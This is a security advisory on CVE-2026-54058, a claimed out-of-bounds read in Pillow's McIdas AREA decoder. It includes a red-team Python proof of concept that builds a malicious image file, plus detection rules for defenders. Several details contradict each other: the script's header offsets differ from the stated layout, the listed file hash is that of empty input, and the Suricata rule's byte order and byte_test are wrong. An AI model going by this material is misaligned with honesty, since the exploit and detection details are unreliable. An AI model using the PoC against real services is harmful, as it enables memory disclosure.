CVE-2026-54058

Executive Summary

CVE-2026-54058 is a high-severity out-of-bounds read vulnerability in the Pillow Python imaging library, affecting versions prior to 12.3.0. The flaw resides in the handling of uncompressed McIdas AREA images when loaded via the mmap raw codec path. An attacker can craft a malicious McIdas AREA file with manipulated header words that set a row stride smaller than the natural row width. When Pillow processes such an image (e.g., via Image.tobytes(), getpixel, convert, or save), it reads beyond the mapped memory region, potentially disclosing adjacent process memory or causing a segmentation fault. This vulnerability is particularly dangerous in environments where Pillow processes untrusted image files, such as web applications, document scanners, or image upload services.

Supply Chain & Package Security

Pillow is a widely used Python package, with over 100 million monthly downloads on PyPI. This vulnerability affects all users of Pillow versions prior to 12.3.0. The attack vector is local (requires user interaction to load a malicious file), but the impact is high due to potential memory disclosure. Organizations should immediately update to Pillow 12.3.0 or later. Package managers (pip, poetry, conda) should be configured to enforce version constraints. Software composition analysis (SCA) tools should flag vulnerable versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – The attacker must provide a malicious file to the victim.
• Attack Complexity (AC): Low (AC:L) – No special conditions required beyond file loading.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – Victim must open the malicious image.
• Scope (S): Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (C:H) – Adjacent process memory can be read.
• Integrity (I): None (I:N) – No data modification.
• Availability (A): Low (A:L) – May cause a crash (segmentation fault).

Base Score: 7.1 (High)
Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L

Deep Dive & Mechanics

The vulnerability is in the McIdas AREA image decoder within Pillow's src/libImaging/McIdas.c file. When an uncompressed McIdas AREA image is loaded via the mmap raw codec path, the decoder reads header words that define the image dimensions and row stride. The row stride is the number of bytes between the start of one row and the next. If the attacker sets a row stride smaller than the natural row width (width * bytes per pixel), the decoder will attempt to read pixels beyond the allocated memory region.

The natural row width is calculated as width * bytes_per_pixel. The row stride is read from the header. The vulnerability occurs because there is no validation that row_stride >= natural_row_width. When row_stride < natural_row_width, the decoder reads beyond the mapped memory region, causing an out-of-bounds read.

The mmap codec path is used for efficient memory-mapped file access. The attacker controls the header words, so they can set a small row stride, causing the decoder to read adjacent memory.

Vulnerable vs. Patched Code

Vulnerable Code (Pillow < 12.3.0):

// In McIdas.c, the decoder reads header words and sets row stride
int row_stride = header[ROW_STRIDE_OFFSET];
int width = header[WIDTH_OFFSET];
int bpp = header[BPP_OFFSET];
// No validation of row_stride against width * bpp
// Later, when reading pixels:
for (int y = 0; y < height; y++) {
    unsigned char *row = data + y * row_stride;
    for (int x = 0; x < width; x++) {
        // Read pixel from row[x * bpp] - may read beyond mapped region
    }
}

Patched Code (Pillow 12.3.0):

// In McIdas.c, after reading header words:
int row_stride = header[ROW_STRIDE_OFFSET];
int width = header[WIDTH_OFFSET];
int bpp = header[BPP_OFFSET];
int natural_row_width = width * bpp;
if (row_stride < natural_row_width) {
    // Error: row stride too small
    return IMAGING_ERROR;
}
// Safe to proceed

The patch adds a validation check that ensures row_stride >= natural_row_width. If the condition fails, the decoder returns an error, preventing the out-of-bounds read.

Exploitation & Lab Setup

Red Team

Objective: Craft a malicious McIdas AREA image that triggers memory disclosure.

Prerequisites:

• Python 3.x with Pillow < 12.3.0 installed.
• A target application that loads McIdas AREA images (e.g., a web app with image upload).

Steps:

1. Create a Malicious McIdas AREA File: The McIdas AREA format has a 64-byte header. The key fields are:

   • Offset 0x00: Magic bytes (e.g., 0x00 0x01)
   • Offset 0x04: Width (4 bytes, little-endian)
   • Offset 0x08: Height (4 bytes, little-endian)
   • Offset 0x0C: Bytes per pixel (1 byte)
   • Offset 0x10: Row stride (4 bytes, little-endian)

   Set the row stride to a value smaller than width * bytes_per_pixel. For example:

   • Width: 100 pixels
   • Height: 100 pixels
   • Bytes per pixel: 3 (RGB)
   • Natural row width: 300 bytes
   • Set row stride to 100 bytes (smaller than 300)

2. Generate the Malicious File:

   import struct
   # Create a minimal McIdas AREA header
   header = b'\x00\x01'  # Magic
   header += struct.pack('<I', 100)  # Width
   header += struct.pack('<I', 100)  # Height
   header += struct.pack('B', 3)     # BPP
   header += struct.pack('<I', 100)  # Row stride (smaller than 300)
   header += b'\x00' * (64 - len(header))  # Pad to 64 bytes
   # Append minimal pixel data (not needed for trigger)
   with open('malicious.mcidas', 'wb') as f:
       f.write(header)
   

3. Trigger the Vulnerability:

   from PIL import Image
   img = Image.open('malicious.mcidas')
   # This will cause an out-of-bounds read
   data = img.tobytes()
   print(data[:100])  # May contain adjacent memory
   

Expected Outcome: The tobytes() call will read beyond the mapped region, potentially disclosing memory contents or causing a crash.

Blue Team

Detection:

• Monitor for crashes in Pillow processes (segmentation faults).
• Use memory analysis tools (e.g., Valgrind, AddressSanitizer) to detect out-of-bounds reads.
• Implement file validation before processing: check that the row stride in the McIdas header is at least width * bytes_per_pixel.

Mitigation:

• Update to Pillow 12.3.0 or later.
• If immediate update is not possible, disable processing of McIdas AREA images or use a sandboxed environment.
• Use a Web Application Firewall (WAF) to block uploads of files with suspicious McIdas headers.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes depend on crafted file)
  • malicious.mcidas: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Traffic: Unusual outbound connections from Pillow processes (if memory disclosure leads to data exfiltration).
• Process Behavior: Pillow process crashes (segmentation fault) when processing McIdas files.
• Log Entries:
  • Pillow: McIdas decoder error: row stride too small
  • Segmentation fault in libImaging.so

Detection Engineering

YARA Rule

rule CVE_2026_54058_McIdas_OutOfBoundsRead {
    meta:
        description = "Detects malicious McIdas AREA files with row stride smaller than natural row width"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-54058"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $magic = { 00 01 }  // McIdas magic bytes
        $width_offset = { ?? ?? ?? ?? }  // Width at offset 4
        $height_offset = { ?? ?? ?? ?? }  // Height at offset 8
        $bpp_offset = { ?? }  // BPP at offset 12
        $stride_offset = { ?? ?? ?? ?? }  // Row stride at offset 16
    condition:
        $magic at 0 and
        uint32(4) > 0 and  // Width > 0
        uint32(8) > 0 and  // Height > 0
        uint8(12) > 0 and  // BPP > 0
        uint32(16) < (uint32(4) * uint8(12))  // Row stride < width * bpp
}

Sigma Rule

title: CVE-2026-54058 - Pillow McIdas Out-of-Bounds Read
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects Pillow crashes or errors related to McIdas row stride validation
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54058
logsource:
    category: application
    product: pillow
detection:
    selection:
        EventID: 1000  # Application Error (Windows)
        Image: '*python*'
        ExceptionCode: 0xc0000005  # Access violation
    condition: selection
falsepositives:
    - Legitimate McIdas files with unusual dimensions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-54058 - Malicious McIdas AREA file upload"; flow:to_server; file_data; content:"|00 01|"; offset:0; depth:2; content:"|00 00 00 64|"; offset:4; depth:4; content:"|00 00 00 64|"; offset:8; depth:4; content:"|03|"; offset:12; depth:1; content:"|64 00 00 00|"; offset:16; depth:4; byte_test:4,<,300,16,string,dec; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Update Pillow to version 12.3.0 or later: pip install --upgrade Pillow
• If update is not possible, disable processing of McIdas AREA images by removing the decoder or using a whitelist.

Long-term:

• Implement input validation for all image formats before processing.
• Use memory-safe languages or sandboxed environments for image processing.
• Regularly update dependencies and monitor for CVEs.
• Conduct code reviews focusing on memory safety.

Workarounds:

• Use a different image library (e.g., OpenCV) for McIdas files.
• Run Pillow in a container with limited memory and no network access.

Valters IT